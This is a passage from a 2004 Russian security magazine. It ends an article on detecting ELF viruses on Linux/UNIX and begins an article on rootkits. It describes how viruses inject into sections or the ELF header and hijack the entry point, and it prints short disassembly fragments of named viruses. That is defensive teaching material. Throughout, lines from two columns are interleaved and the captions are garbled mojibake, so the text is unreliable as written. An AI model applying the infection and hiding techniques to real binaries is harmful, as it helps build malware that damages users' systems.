ìîäèôèöèðîâàííûå âèðóñîì, âûäåëåíû òðàóðíîé ðàìêîé
будут подробно здесь рассмотрены.
Многие вирусы (и в частности, вирус Lin/Obsidan) вы- Наилучший уровень скрытности достигается при вне-
дают себя тем, что при внедрении в середину файла «за- дрении в начало секции .text и осуществляется практи-
бывают» модифицировать заголовок таблицы секций чески тем же самым образом, что и внедрение в конец, с
(либо же модифицируют его некорректно). Как уже отме- той лишь разницей, что для сохранения работоспособно-
чалось выше, в процессе загрузки исполняемых файлов сти зараженного файла вирус корректирует поля sh_addr
в память системный загрузчик считывает информацию о и p_vaddr, уменьшая их на величину своего тела и не за-
сегментах и проецирует их содержимое целиком. Внут- бывая о необходимости выравнивания (если выравнива-
ренняя структура сегментов его совершенно не интере- ние действительно необходимо). Первое поле задает вир-
сует. Даже если заголовок таблицы секций отсутствует туальный стартовый адрес для проекции секции .text, вто-
или заполнен некорректно, запущенная на выполнение рое – виртуальный стартовый адрес для проекции кодо-
программа будет исправно работать. Однако несмотря на вого сегмента.
это, в подавляющем большинстве исполняемых файлов В результате этой махинации вирус оказывается в са-
заголовок таблицы секций все-таки присутствует, и по- мом начале кодовой секции и чувствует себя довольно
пытка его удаления оканчивается весьма плачевно – по- уверенно, поскольку при наличии стартового кода выгля-
пулярный отладчик gdb и ряд других утилит для работы с дит неотличимо от «нормальной» программы. Однако
ELF-файлами отказываются признать «кастрированный» работоспособность зараженного файла уже не гаранти-
файл своим. При заражении исполняемого файла виру- руется, и его поведение рискует стать совершенно непред-
сом, некорректно обращающимся с заголовком таблицы сказуемым, поскольку виртуальные адреса всех преды-
секций, поведение отладчика становится непредсказуе- дущих секций окажутся полностью искажены. Если при
мым, демаскируя тем самым факт вирусного вторжения. компиляции программы компоновщик позаботился о со-
Перечислим некоторые наиболее характерные призна- здании секции перемещаемых элементов, то вирус (тео-
ки заражения исполняемых файлов (вирусы, внедряющи- ретически) может воспользоваться этой информацией для
еся в компоновочные файлы, обрабатывают заголовок приведения впереди идущих секций в нормальное состо-
таблицы секций вполне корректно, в противном случае яние, однако исполняемые файлы в своем подавляющем
зараженные файлы тут же откажут в работе и распрост- большинстве спроектированы для работы по строго оп-
ранение вируса немедленно прекратится): ределенным физическим адресам и потому неперемеща-
! поле e_shoff указывает «мимо» истинного заголовка емы. Но даже при наличии перемещаемых элементов ви-
таблицы секций (так себя ведет вирус Lin/Obsidan) либо рус не сможет отследить все случаи относительной адре-
имеет нулевое значение при непустом заголовке таб- сации. Между секцией кода и секцией данных относитель-
лицы секций (так себя ведет вирус Linux.Garnelis); ные ссылки практически всегда отсутствуют, и потому при
!поле e_shoff имеет ненулевое значение, но ни одного вторжении вируса в конец кодовой секции работоспособ-
заголовка таблицы секций в файле нет; ность файла в большинстве случаев не нарушается. Од-
!заголовок таблицы секций содержится не в конце фай- нако внутри кодового сегмента случаи относительной
ла, этих заголовков несколько или заголовок таблицы адресации между секциями – скорее правило, нежели
секций попадает в границы владения одного из сег- редкость. Взгляните на фрагмент дизассемблерного ли-
ментов; стинга утилиты ping, позаимствованный из UNIX Red Hat 5.0.
! сумма длин всех секций одного сегмента не соответ- Команду call, расположенную в секции .init, и вызывае-
ствует его полной длине; мую ею подпрограмму, находящуюся в секции .text, раз-

18
безопасность
деляют ровно 8002180h – 8000915h == 186Bh байт, и имен- ного тела программы, образуется своеобразный дефект.
но это число фигурирует в машинном коде (если же вы Скорее всего, даже наверняка, граница раздела двух сред
все еще продолжаете сомневаться, загляните в Intel пройдет посередине функции оригинальной программы,
Instruction Reference Set: команда E8h это команда отно- если еще не рассечет машинную команду. Дизассемблер
сительного вызова): покажет некоторое количество мусора и хвост функции с
отсутствующим прологом.
Ëèñòèíã 11. Ôðàãìåíò óòèëèòû ping, èñïîëüçóþùåé, êàê è ìíî-
ãèå äðóãèå ïðîãðàììû, îòíîñèòåëüíûå ññûëêè ìåæäó ñåêöèÿìè
êîäîâîãî ñåãìåíòà Создание своей собственной секции
Наиболее честный (читай – «корректный») и наименее
.init:08000910 _init proc near ↵
; CODE XREF: start+51↓p скрытный способ внедрения в файл состоит в создании
.init:08000910 E8 6B 18 00 00 call sub_8002180 своей собственной секции (сегмента), а то и двух секций –
.init:08000915 C2 00 00 retn 0
.init:08000915 _init endp для кода и для данных соответственно. Разместить та-
… кую секцию можно где угодно. Хоть в начале файла, хоть
.text:08002180 sub_8002180 proc near ↵
; CODE XREF: _init↑p в конце (вариант внедрения в сегмент с раздвижкой со-
седних секций мы уже рассматривали выше).
Неудивительно, что после заражения файл перестает
работать (или станет работать некорректно)! Но если это Ëèñòèíã 12. Êàðòà ôàéëà, çàðàæåííîãî âèðóñîì, âíåäðÿþùèìñÿ
â ñîáñòâåííîðó÷íî ñîçäàííóþ ñåêöèþ è ýòèì ñåáÿ äåìàñêèðóþ-
все-таки произошло, загрузите файл в отладчик/дизас- ùèì (ïîäðîáíåå îá ýòîì ðàññêàçûâàëîñü â ïðåäûäóùåé ñòàòüå
семблер и посмотрите – соответствуют ли относительные ýòîãî öèêëà «Áîðüáà ñ âèðóñàìè – îïûò êîíòðòåððîðèñòè÷åñêèõ
îïåðàöèé», â îêòÿáðüñêîì íîìåðå æóðíàëà)
вызовы первых кодовых секций пункту своего назначе-
ния. Вы легко распознаете факт заражения, даже не бу-
дучи специалистом в области реинжиниренга.
В этом мире ничего не дается даром! За скрытность
вирусного вторжения последнему приходится расплачи-
ваться разрушением большинства заражаемых файлов.
Более корректные вирусы располагают свое тело в нача-
ле кодового сегмента – в секции .init. Работоспособность
заражаемых файлов при этом не нарушается, но присут-
ствие вируса становится легко обнаружить, т.к. секция .init Внедрение между файлом и заголовком
редко бывает большой, и даже небольшая примесь по- Фиксированный размер заголовка a.out-файлов суще-
стороннего кода сразу же вызывает подозрение. ственно затруднял эволюцию этого, в общем-то неплохо-
го формата, и в конечном счете привел к его гибели. В
последующих форматах это ограничение было преодо-
лено. Так, в ELF-файлах длина заголовка хранится в двух-
байтовом поле e_ehize, оккупировавшем 28h и 29h бай-
ты, считая от начала файла.
Увеличив заголовок заражаемого файла на величину,
равную длине своего тела, и сместив оставшуюся часть
файла вниз, вирус сможет безболезненно скопировать
себя в образовавшееся пространство между концом на-
стоящего заголовка и началом Program Header Table. Ему
Ðèñóíîê 7. Òèïîâàÿ ñõåìà çàðàæåíèÿ èñïîëíÿåìîãî ôàéëà ïóòåì даже не придется увеличивать длину кодового сегмента,
ðàñøèðåíèÿ åãî êîäîâîé ñåêöèè поскольку в большинстве случаев тот начинается с само-
Некоторые вирусы (например, вирус Linux.NuxBee) за- го первого байта файла. Единственное, что будет вынуж-
писывают себя поверх кодового сегмента заражаемого ден сделать вирус, сдвинуть поля p_offset всех сегментов
файла, перемещая затертую часть в конец кодовой сек- на соответствующую величину вниз. Сегмент, начинаю-
ции (или, что более просто, в конец последнего сегмента щийся с нулевого смещения, никуда перемещать не надо,
файла). Получив управление и выполнив всю работу «по иначе вирус не будет спроецирован в память. (Смещения
хозяйству», вирус забрасывает кусочек своего тела в стек сегментов в файле отсчитываются от начала файла, но
и восстанавливает оригинальное содержимое кодового не от конца заголовка, что нелогично и идеологически
сегмента. Учитывая, что модификация кодового сегмен- неправильно, зато упрощает программирование). Поле
та по умолчанию запрещена и разрешать ее вирусу не e_phoff, задающее смещение Program Head Table, также
резон (в этом случае факт заражения очень легко обна- должно быть скорректировано.
ружить), вирусу приходится прибегать к низкоуровневым Аналогичную операцию следует проделать и со сме-
манипуляциям с атрибутами страниц памяти, вызывая щениями секций, в противном случае отладка/дизассем-
функцию mprotect, практически не встречающуюся в «че- блирование зараженного файла станет невозможной (хотя
стных» приложениях. файл будет нормально запускаться). Существующие ви-
Другой характерный признак: в том месте, где конча- русы забывают скорректировать содержимое полей
ется вирус и начинается незатертая область оригиналь- sh_offset, чем и выдают себя, однако следует быть гото-

№1(14), январь 2004 19


безопасность
вым к тому, что в следующих поколениях вируса этот не- в a.out – a_entry. Оба поля содержат виртуальный адрес
достаток будет устранен. (не смещение, отсчитываемое от начала файла) машин-
Впрочем, в любом случае такой способ заражения ной инструкции, на которую должно быть передано уп-
слишком заметен. В нормальных программах исполняе- равление.
мый код никогда не попадает в ELF-заголовок, и его на- При внедрении в файл вирус запоминает адрес ори-
личие там красноречиво свидетельствует о вирусном за- гинальной точки входа и переустанавливает ее на свое
ражении. Загрузите исследуемый файл в любой HEX-ре- тело. Сделав все, что хотел сделать, он возвращает уп-
дактор (например, HIEW) и проанализируйте значение равление программе-носителю, используя сохраненный
поля e_ehize. Стандартный заголовок, соответствующий адрес. При всей видимой безупречности этой методики
текущим версиям ELF-файла, на платформе X86 (кстати, она не лишена изъянов, обеспечивающих быстрое разоб-
недавно переименованной в платформу Intel) имеет дли- лачение вируса.
ну, равную 34 байтам. Другие значения в «честных» ELF- Во-первых, точка входа большинства честных файлов
файлах мне видеть пока не доводилось (хотя я и не ут- указывает на начало кодовой секции файла. Внедриться
верждаю, что таких файлов действительно нет – опыт сюда трудно, и все существующие способы внедрения
работы с UNIX у меня небольшой). Только не пытайтесь связаны с риском необратимого искажения исполняемо-
загрузить зараженный файл в дизассемблер. Это беспо- го файла, приводящего к его полной неработоспособнос-
лезно. Большинство из них (и IDA PRO в том числе) отка- ти. Точка входа, «вылетающая» за пределы секции .text, –
жутся дизассемблировать область заголовка, и исследо- явный признак вирусного заражения.
ватель о факте заражения ничего не узнает! Во-вторых, анализ всякого подозрительного файла
Ниже приведен фрагмент файла, зараженного виру- начинается в первую очередь с окрестностей точки входа
сом UNIX.inheader.6666. Обратите внимание на поле дли- (и ею же обычно и заканчивается), поэтому независимо
ны ELF-заголовка, обведенное квадратиком. Вирусное от способа вторжения в файл вирусный код сразу же бро-
тело, начинающиеся с 34h байта, залито бордовым цве- сается в глаза.
том. Сюда же направлена точка входа (в данном случае В-третьих, точка входа – объект пристального внима-
она равна 8048034h): ния легиона дисковых ревизоров, сканеров, детекторов и
всех прочих антивирусов.
Использовать точку входа для перехвата управления –
слишком примитивно и, по мнению большинства созда-
телей вирусных программ, даже позорно. Современные
вирусы осваивают другие методики заражения, и закла-
Ðèñóíîê 8. Ôðàãìåíò HEX-äàìïà ôàéëà, çàðàæåííîãî âèðóñîì дываться на анализ точки входа может только наивный
UNIX.inheader.6666, âíåäðÿþùèìñÿ â ELF-çàãîëîâîê. Ïîëÿ ELF-
çàãîëîâêà, ìîäèôèöèðîâàííûå âèðóñîì, âçÿòû â ðàìêó, à ñàìî (вот так и рождаются байки о неуловимых вирусах…).
òåëî âèðóñà çàëèòî áîðäîâûì öâåòîì
Как вариант, вирус может вклиниться между концом Перехват управления путем внедрения
ELF-заголовка и началом Program Header Table. Зараже- своего кода в окрестности точки входа
ние происходит так же, как и предыдущем случае, однако Многие вирусы никак не изменяют точку входа, но вне-
длина ELF-заголовка остается неизменной. Вирус оказы- дряют по данному адресу команду перехода на свое тело,
вается в «сумеречной» области памяти, формально при- предварительно сохранив его оригинальное содержимое.
надлежащей одному из сегментов, но де-факто считаю- Несмотря на кажущуюся элегантность этого алгоритма,
щейся «ничейной» и потому игнорируемой многими от- он довольно капризен в работе и сложен в реализации.
ладчиками и дизассемблерами. Если только вирус не пе- Начнем с того, что для сохранения оригинальной машин-
реустановит на себя точку входа, дизассемблер даже не ной инструкции, расположенной в точке входа, вирус дол-
сочтет нужным заругаться по этому поводу. Поэтому ка- жен определить ее длину, но без встроенного дизассемб-
кой бы замечательной IDA PRO ни была, а просматри- лера это сделать невозможно.
вать исследуемые файлы в HIEW все-таки необходимо! Большинство вирусов ограничивается тем, что сохра-
Учитывая, что об этом догадываются далеко не все экс- няет первые 16-байт (максимально возможная длина ма-
перты по безопасности, данный способ заражения риску- шинной команды на платформе Intel), а затем восстанав-
ет стать весьма перспективным. К борьбе с вирусами, ливает их обратно, так или иначе обходя запрет на моди-
внедряющимися в заголовок ELF-файлов, будьте готовы! фикацию кодового сегмента. Кто-то снабжает кодовый
сегмент атрибутом Write, делая его доступным для запи-
Перехват управления путем коррекции си (если не трогать атрибуты секций, то кодовый сегмент
точки входа все равно будет можно модифицировать, но IDA PRO об
Успешно внедриться в файл – это только полдела. Для этом не расскажет, т.к. с атрибутами сегментов она рабо-
поддержки своей жизнедеятельности всякий вирус дол- тать не умеет), кто-то использует функцию mprotect для
жен тем или иным способом перехватить на себя нить уп- изменения атрибутов страниц на лету. И тот, и другой
равления. Классический способ, активно использовав- способы слишком заметны, а инструкция перехода на тело
шийся еще во времена MS-DOS, сводится к коррекции вируса заметна без очереди!
точки входа – одного из полей ELF/COFF/a.out заголов- Более совершенные вирусы сканируют стартовую про-
ков файлов. В ELF-заголовке эту роль играет поле e_entry, цедуру заражаемого файла в поисках инструкций call или

20
безопасность
jmp. А найдя таковую, подменяют вызываемый адрес на но, если тело вируса зашифровано, вирус использует хеш-
адрес своего тела. Несмотря на кажущуюся неуловимость, сравнение или же другие хитрые приемы программиро-
обнаружить такой способ перехвата управления очень вания, строки «ELF» в теле зараженного файла не ока-
легко. Первое и главное – вирус, в отличие от легально жется, но более чем в половине всех существующих UNIX-
вызываемых функций, никак не использует переданные вирусов она все-таки есть, и этот прием, несмотря на свою
ему в стеке аргументы. Он не имеет никаких понятий об изумительную простоту, очень неплохо работает.
их числе и наличии (машинный анализ количества пере- Загрузите исследуемый файл в любой HEX-редактор
данных аргументов немыслим без интеграции в вирус и попробуйте отыскать строку « ELF». В зараженном фай-
полноценного дизассемблера, оснащенного мощным ин- ле таких строк будет две – одна непосредственно в заго-
теллектуальным анализатором). Вирус тщательно сохра- ловке, другая – в кодовой секции или секции данных. Толь-
няет все изменяемые регистры, опасаясь, что функции ко не используйте дизассемблер! Очень многие вирусы
могут использовать регистровую передачу аргументов с преобразуют строку « FELF» в 32-разрядную целочис-
неизвестным ему соглашением. Самое главное – при пе- ленную константу 464С457Fh, которая маскирует присут-
редаче управления оригинальной функции вирус должен ствие вируса, но при переключении в режим дампа сразу
либо удалить с верхушки стека адрес возврата (в против- же «проявляется» на экране. Ниже приведен внешний вид
ном случае их там окажется два) либо вызывать ориги- файла, зараженного вирусом VirTool.Linux.Mmap.443, ко-
нальную функцию не командой call, но командой jmp. Для торый использует именно такую методику:
«честных» программ, написанных на языках высокого
уровня, и то и другое крайне нетипично, благодаря чему
вирус оказывается немедленно разоблачен.
Вирусы, перехватывающие управление в произволь-
ной точке программы (зачастую чрезвычайно удаленной
от точки входа), выявить намного труднее, поскольку при-
ходится анализировать довольно большие, причем зара-
нее не определенные, объемы кода. Впрочем, с удалени-
ем от точки входа стремительно возрастает риск, что дан-
ная ветка программы никогда не получит управление,
поэтому все известные мне вирусы не выходят за грани-
цы первого встретившегося им RET.
Ðèñóíîê 9. Ôðàãìåíò ôàéëà, çàðàæåííîãî âèðóñîì
Основные признаки вирусов VirTool.Linux.Mmap.443. Â HEX-äàìïå ëåãêî îáíàðóæèâàåòñÿ ñòðîêà
«ELF», èñïîëüçóåìàÿ âèðóñîì äëÿ ïîèñêà æåðòâ «ñâîåãî» òèïà
Искажение структуры исполняемых файлов – характер-
ный, но недостаточный признак вирусного заражения. Вирус Linux.Winter.343 (также известный под именем
Быть может, это защита хитрая такая или завуалирован- Lotek) по этой методике обнаружить не удается, посколь-
ный способ самовыражения разработчика. К тому же не- ку он использует специальное математическое преобра-
которые вирусы ухитряются внедриться в файл практи- зование, зашифровывая строку « ELF» на лету:
чески без искажений его структуры. Однозначный ответ
дает лишь полное дизассемблирование исследуемого Ëèñòèíã 13. Ôðàãìåíò âèðóñà Lotek, òùàòåëüíî ñêðûâàþùåãî
ñâîé èíòåðåñ ê ELF-ôàéëàì
файла, однако это слишком трудоемкий способ, требую-
щий усидчивости, глубоких знаний операционной систе- .text:08048473 mov eax, 0B9B3BA81h ↵
; -"ELF" (ìèíóñ "ELF")
мы и неограниченного количества свободного времени. .text:08048478 add eax, [ebx] ↵
Поэтому на практике обычно прибегают к компромиссно- ; ïåðâûå ÷åòûðå áàéòà æåðòâû
.text:0804847A jnz short loc_804846E ↵↵
му варианту, сводящемуся к беглому просмотру дизас- ; → ýòî íå ELF
семблерного листинга на предмет поиска основных при-
знаков вирусного заражения. Непосредственное значение B9B3BA81h, соответству-
Большинство вирусов использует довольно специфи- ющее текстовой строке « » (в приведенном выше лис-
ческий набор машинных команд и структур данных, прак- тинге оно выделено жирным шрифтом), представляет
тически никогда не встречающихся в «нормальных» при- собой не что иное, как строку « ELF», преобразованную
ложениях. Конечно, разработчик вируса при желании мо- в 32-разрядную константу и умноженную на минус едини-
жет все это скрыть, и распознать зараженный код тогда цу. Складывая полученное значение с четырьмя первы-
не удастся. Но это в теории. На практике же вирусы обыч- ми байтами жертвы, вирус получает ноль, если строки
но оказываются настолько тупы, что обнаруживаются за равны, и ненулевое значение в противном случае.
считанные доли секунды. Как вариант, вирус может дополнять эталонную стро-
Ведь чтобы заразить жертву, вирус прежде должен ее ку « ELF» до единицы, и тогда в его теле будет присут-
найти, отобрав среди всех кандидатов только файлы «сво- ствовать последовательность 80 BA B3 B9. Реже встре-
его» типа. Для определенности возьмем ELF. Тогда ви- чаются циклические сдвиги на одну, две, три… и семь
рус будет вынужден считать его заголовок и сравнить позиций в различные стороны, неполные проверки (т.е.
четыре первых байта со строкой « FELF», которой соот- проверки на совпадение двух или трех байт) и некоторые
ветствует ASCII-последовательность 7F 45 4C 46. Конеч- другие операции – всех не перечислишь!

№1(14), январь 2004 21


безопасность
Более уязвимым с точки зрения скрытности является А вот так для сравнения выглядят системные вызовы
механизм реализации системных вызовов. Вирус не мо- «честной» программы – утилиты cat из комплекта постав-
жет позволить себе тащить за собой всю библиотеку LIBC, ки Free BSD 4.5 (см. рис. 11). Инструкции прерывания не
прилинкованную к нему статической компоновкой, по- разбросаны по всему коду, а сгруппированы в собствен-
скольку существование подобного монстра трудно оста- ных функциях-обертках. Конечно, вирус тоже может «об-
вить незаметным. Существует несколько способов реше- мазать» системные вызовы слоем переходного кода, но
ния этой проблемы, и наиболее популярный из них сво- вряд ли у него получится подделать характер оберток кон-
дится к использованию nativeAPI операционной системы. кретного заражаемого файла.
Поскольку последний является прерогативой особеннос-
тей реализации данной конкретной системы, создатели
UNIX де-факто отказались от многочисленных попыток его
стандартизации. В частности, в System V (и ее многочис-
ленных клонах) обращение к системным функциям про-
исходит через дальний call по адресу 0007:00000000, а в
Linux это осуществляется через служебное прерывание
INT 80h (перечень номеров системных команд можно най-
ти в файле /usr/include/asm/unistd.h). Таким образом, ис-
пользование nativeAPI существенно ограничивает ареал
обитания вируса, делая его непереносимым.
«Честные» программы в большинстве своем практичес-
ки никогда не работают через nativeAPI (хотя утилиты из ком-
плекта поставки Free BSD 4.5 ведут себя именно так), по- Ðèñóíîê 11. Ôðàãìåíò «÷åñòíîãî» ôàéëà cat èç êîìïëåêòà ïî-
этому наличие большого количества машинных команд ñòàâêè Free BSD, àêêóðàòíî ðàçìåùàþùåãî native-API âûçîâû â
ôóíêöèÿõ-îáåðòêàõ
INT 80h/CALL 0007:0000000 (CD 80/9A 00 00 00 00 07 00) с
высокой степенью вероятности свидетельствует о наличии Некоторые (впрочем, довольно немногочисленные)
вируса. Для предотвращения ложных срабатываний (т.е. об- вирусы так просто не сдаются и используют различные
наружения вируса там, где и следов его нет), вы должны не методики, затрудняющие их анализ и обнаружение.
только обнаружить обращения к nativeAPI, но и проанализи- Наиболее талантливые (или скорее прилежные) разра-
ровать последовательность их вызовов. Для вирусов харак- ботчики динамически генерируют инструкцию INT 80h/
терна следующая цепочка системных команд: sys_open, CALL 0007:00000000 на лету и, забрасывая ее на вер-
sys_lseek, old_mmap/sys_munmap, sys_write, sys_close, хушку стека, скрытно передают ей управление. Как
sys_exit. Реже используются вызовы exec и fork. Их, в част- следствие – в дизассемблерном листинге исследуемой
ности, использует вирус STAOG.4744. Вирусы VirTool.Linux. программы вызов INT 80h/INT 80h/CALL 0007:00000000
Mmap.443, VirTool.Linux.Elfwrsec.a, PolyEngine.Linux.LIME. будет отсутствовать, и обнаружить такие вирусы мож-
poly, Linux.Winter.343 и ряд других обходятся без этого. но лишь по многочисленным косвенным вызовам под-
Ниже приведен фрагмент файла, зараженного виру- программ, находящихся в стеке. Это действительно
сом VirTool.Linux.Mmap.443. Наличие незамаскированных нелегко, т.к. косвенные вызовы в изобилии присутству-
вызовов INT 80h с легкостью разоблачает агрессивную ют и в «честных» программах, а определение значений
природу программного кода, указывая на склонность пос- вызываемых адресов представляет собой серьезную
леднего к саморазмножению: проблему (во всяком случае при статическом анализе).
С другой стороны, таких вирусов пока существует не-
много (да и те – сплошь лабораторные), так что ника-
ких поводов для паники пока нет. А вот шифрование
критических к раскрытию участков вирусного тела
встречается гораздо чаще. Однако для дизассемблера
IDA PRO это не бог весть какая сложная проблема, и
даже многоуровневая шифровка снимается без малей-
шего умственного и физического напряжения.
Впрочем, на каждую старуху есть проруха, и IDA Pro
тому не исключение. При нормальном развитии событий
IDA Pro автоматически определяет имена вызываемых
функций, оформляя их как комментарии. Благодаря это-
му замечательному обстоятельству, для анализа иссле-
дуемого алгоритма нет нужды постоянно лезть в спра-
вочник. Такие вирусы, как, например, Linux.ZipWorm, не
могут смириться с подобным положением дел и активно
используют специальные приемы программирования, сби-
Ðèñóíîê 10. Ôðàãìåíò ôàéëà, çàðàæåííîãî âèðóñîì вающие дизассемблер с толку. Тот же Linux.ZipWorm про-
VirTool.Linux.Mmap.443, äåìàñêèðóþùèì ñâîå ïðèñóòñòâèå ïðÿìûì
îáðàùåíèåì ê native API îïåðàöèîííîé ñèñòåìû талкивает номера вызываемых функций через стек, что

22
безопасность
вводит IDA в замешательство, лишая ее возможности Поэтому присутствие стартового кода в исследуемом
определения имен последних: файле, не дает нам никаких оснований считать его здо-
ровым.
Ëèñòèíã 14. Ôðàãìåíò âèðóñà Linux.ZipWorm, àêòèâíî è íåáå-
çóñïåøíî ïðîòèâîñòîÿùåãî äèçàññåìáëåðó IDA Pro
Ëèñòèíã 16. Àëüòåðíàòèâíûé ïðèìåð íîðìàëüíîé ñòàðòîâîé ôóíêöèè
.text:080483C0 push 13h
.text:080483C2 push 2 .text:08048330 public start
.text:080483C4 sub ecx, ecx .text:08048330 start proc near
.text:080483C6 pop edx .text:08048330 xor ebp, ebp
; // EAX := 2. Ýòî âûçîâ fork .text:08048332 pop esi
.text:080483C7 pop eax .text:08048333 mov ecx, esp
; LINUX – ← IDA íå ñìîãëà îïðåäåëèòü èìÿ âûçîâà! .text:08048335 and esp, 0FFFFFFF8h
.text:080483C8 int 80h .text:08048338 push eax
.text:08048339 push esp
.text:0804833A push edx
С одной стороны, вирус действительно добился постав- .text:0804833B push offset sub_804859C
ленной перед ним цели, и дизассемблерный листинг с .text:08048340 push offset sub_80482BC
.text:08048345 push ecx
отсутствующими автокомментариями с первого присту- .text:08048346 push esi
па не возьмешь. Но давайте попробуем взглянуть на си- .text:08048347 push offset loc_8048430
.text:0804834C call ___libc_start_main
туацию под другим углом. Сам факт применения антиот- .text:08048351 hlt
ладочных приемов уже свидетельствует если не о зара- .text:08048352 nop
.text:08048353 nop
жении, то во всяком случае о ненормальности ситуации. .text:08048353 start endp
Так что за противодействие анализу исследуемого фай-
ла вирусу приходится расплачиваться ослабленной мас- Большинство зараженных файлов выглядит иначе. В
кировкой (в программистских кулуарах по этому случаю частности, стартовый код вируса PolyEngine.Linux.LIME.poly
обычно говорят «из зараженного файла вирусные уши выглядит так:
торчат»).
Уши будут торчать еще и потому, что большинство Ëèñòèíã 17. Ñòàðòîâûé êîä âèðóñà PolyEngine.Linux.LIME.poly
вирусов никак не заботится о создании стартового кода ; Alternative name is 'main'
или хотя бы плохонькой его имитации. В точке входа «че- .data:080499C1 LIME_END:
.data:080499C1 mov eax, 4
стной» программы всегда (ну или практически всегда) .data:080499C6 mov ebx, 1
расположена нормальная функция с классическим про- ; "Generates 50 [LiME] encrypted…"
.data:080499CB mov ecx, offset gen_msg
логом и эпилогом, автоматически распознаваемая дизас- .data:080499D0 mov edx, 2Dh
семблером IDA Pro, вот например: ; LINUX – sys_write
.data:080499D5 int 80h
.data:080499D7 mov ecx, 32h
Ëèñòèíã 15. Ïðèìåð íîðìàëüíîé ñòàðòîâîé ôóíêöèè ñ êëàññè-
÷åñêèì ïðîëîãîì è ýïèëîãîì
text:080480B8 start
text:080480B8
proc near Заключение
text:080480B8 push ebp Несмотря на свой, прямо скажем, далеко не маленький
text:080480B9 mov ebp, esp размер, настоящая статья охватила далеко не весь круг
text:080480BB sub esp, 0Ch
… изначально намеченных тем. Незатронутыми остались
text:0804813B ret вопросы «прорыва» виртуальной машины интерпретато-
text:0804813B start endp
ром, техника выявления Stealth-вирусов и противодей-
В некоторых случаях стартовые функции передают ствия им, жизненный цикл червей и комплекс мер, направ-
бразды правления libc_start_main и заканчиваются по hlt ленных на предотвращение возможного вторжения…
без ret. Это вполне нормальное явление. «Вполне» пото- Обо всем этом и многом другом мы поговорим в сле-
му что очень многие вирусы, написанные на ассемблере, дующий раз, если, конечно, к тому времени эта тема ни-
получают в «подарок» от линкера такой же стартовый код. кому не надоест…

№1(14), январь 2004 23


безопасность

ЧТО ТАКОЕ ROOTKITS,


И КАК С НИМИ БОРОТЬСЯ
Защищенный компьютер – мертвый компьютер.
Сказано на каком-то форуме

СЕРГЕЙ ЯРЕМЧУК

24
безопасность
На новый сервер установлен Linux последнего выпуска, очень было затруднительно, и сисадмин считал, что работа-
убраны все лишние сервисы, firewall настроен так, что ет на чистой системе. Эти программы были объединены в
завидуют друзья. Теперь можно сидеть почитывать худо- единый комплект утилит, названный «Root Kits», исходно раз-
жественную литературу и попивать кофе. А вот и нет. Так работанные Lord Somer, сегодня находятся уже в шестой
может думать админ, который ни разу не пробовал свои версии с несколькими вариантами. Версия 3 – Linux Root Kit
силы во взломе своих систем. 3 (lrk3) от декабря 1996 года содержала обычные методы
К сожалению, находясь на курсах, заметил странную перехвата паролей и сокрытия действий. Администратор,
закономерность. Некоторые из присутствующих вслепую зная входящие в комплект файлы, мог вычислить заражен-
доверяли firewall, основываясь, как правило, на очень про- ные путем просмотра в текстовом редакторе, сравнивая
стом предположении, что если он отсеивает ненужную строки в файлах, кроме того, команда find могла сообщить
часть трафика, то взломщику просто нет путей для про- обо всех измененных за 24 часа файлах. Следующая вер-
никновения на компьютер. Да, действительно, firewall, дей- сия lrk4, выпущенная в ноябре 1998 года, получила еще
ствуя по классической схеме «свой-чужой», отсекает не- несколько измененных программ (pidof, killall, find, top,
угодные администратору пакеты. Но если, например, от- crontab ...), позволяющих взять систему под больший конт-
крыт 80 порт для доступа к веб-серверу, то и пакеты, на- роль. Чтобы администратор системы не заметил измене-
правленные на такой порт, беспрепятственно пройдут че- ний, они были защищены паролем (по умолчанию satori),
рез него и, естественно, следуя законам Мерфи, обязатель- который можно было заменить при компиляции. Но у rootkits
но найдется уязвимость в таком «легальном» сервисе, не такого класса есть один существенный недостаток, а имен-
говоря уже, что сам firewall может стать объектом атаки. но они изменяют файлы на диске и поэтому могут быть
Дальше, как говорится, все это уже дело времени. обнаружены при сравнении контрольных сумм. Так что при
Чтобы иметь возможность и далее возвращаться во ее контроле такой rootkit выявить труда не составляло. Но
взломаную систему, при этом, чтобы сисадмин не мог их прогресс на месте не стоял, и был разработан новый класс
увидеть, а система их действия не регистрировала, напа- rootkit, способных поражать ядро, использующих модули
дающий устанавливает современный вариант троянско- ядра (Linux Kernel Module – LKM). Номер 50 (от апреля 1997
го коня, набор утилит – rootkits. Обычно в этот набор вхо- года) журнала Phrack содержал краткую, но очень поучи-
дит sniffer, при помощи которого прослушивается сеть для тельную статью «Abuse of the Linux Kernel for Fun and Profit»
возможного перехвата ценной информации (пароля, на- (p50-05), после которой уже нельзя было полностью дове-
пример), модифицированный набор основных системных рять своему ядру. Принцип работы такого rootkit прост.
программ (ps, ls, who, find, netstat, ifconfig ...), скрипты для Как известно, применение модулей ядра позволяет рас-
чистки логов. Для дистанционного управления запуска- ширить возможности ядра операционной системы без не-
ется нелегальный демон удаленного доступа, открываю- обходимости его перекомпиляции. Злоумышленник пишет
щий сетевой порт, который «не замечают» модифициро- код модуля ядра и загружает его. В дальнейшем, работая в
ванные утилиты. При этом, чтобы сохранить максималь- пространстве ядра, такой модуль перехватывает системные
ное приближение к оригинальному файлу, трояненные вызовы и модифицирует ответ по своему предназначению,
утилиты имитируют ту же дату создания файла и размер. скрывая таким образом взлом системы. Но теперь взлом-
щик получает практически безграничную власть в системе.
Небольшая история развития rootkits Он может без проблем фильтровать логи, прятать файлы и
В начале 80-х все было скучно до безобразия. Команда last процессы, выходить за пределы chroot, скрывать состояние
показывала, кто и когда хулиганил в системе, команды ls и системы и многое другое, зависящее только от фантазии
ps выдавали новые файлы и неизвестные процессы, netstat взломщика. Программы контроля целостности типа Tripwire
сообщала текущие сетевые подключения и порты, на кото- бесполезны против этого класса rootkit. Боролись с этим злом
рых слушались входящие подключения, команда ifconfig со- на первом этапе, контролируя добавление и удаление моду-
общала администратору, если интерфейс локальной сети лей, ограничением круга пользователей (демонов), которые
на основе протокола ethernet был установлен в «неопреде- могли работать с модулями или вообще отказом от их ис-
ленный» (PROMISCIOUS) режим, означающий работу про- пользования (т.е. ответ N в опции CONFIG_MODULES) и
граммы-сниффера, следы его пребывания можно было так- собирая монолитное ядро. Некоторое время это как-то по-
же отыскать в /var/log/messages. Естественно, такое поло- могало, но Сильвио Цезаре (Silvio Cesare) обосновал воз-
жение дел не устраивало взломщиков, и были придуманы можность загрузки модуля в ядро, используя устройство
методы, позволяющие скрыть их действия. Описание этих /dev/kmem, управляющее памятью ядра, и написал програм-
методов появились в некоторых электронных и печатных му kinsmod, позволяющую проделать это, хотя это все на-
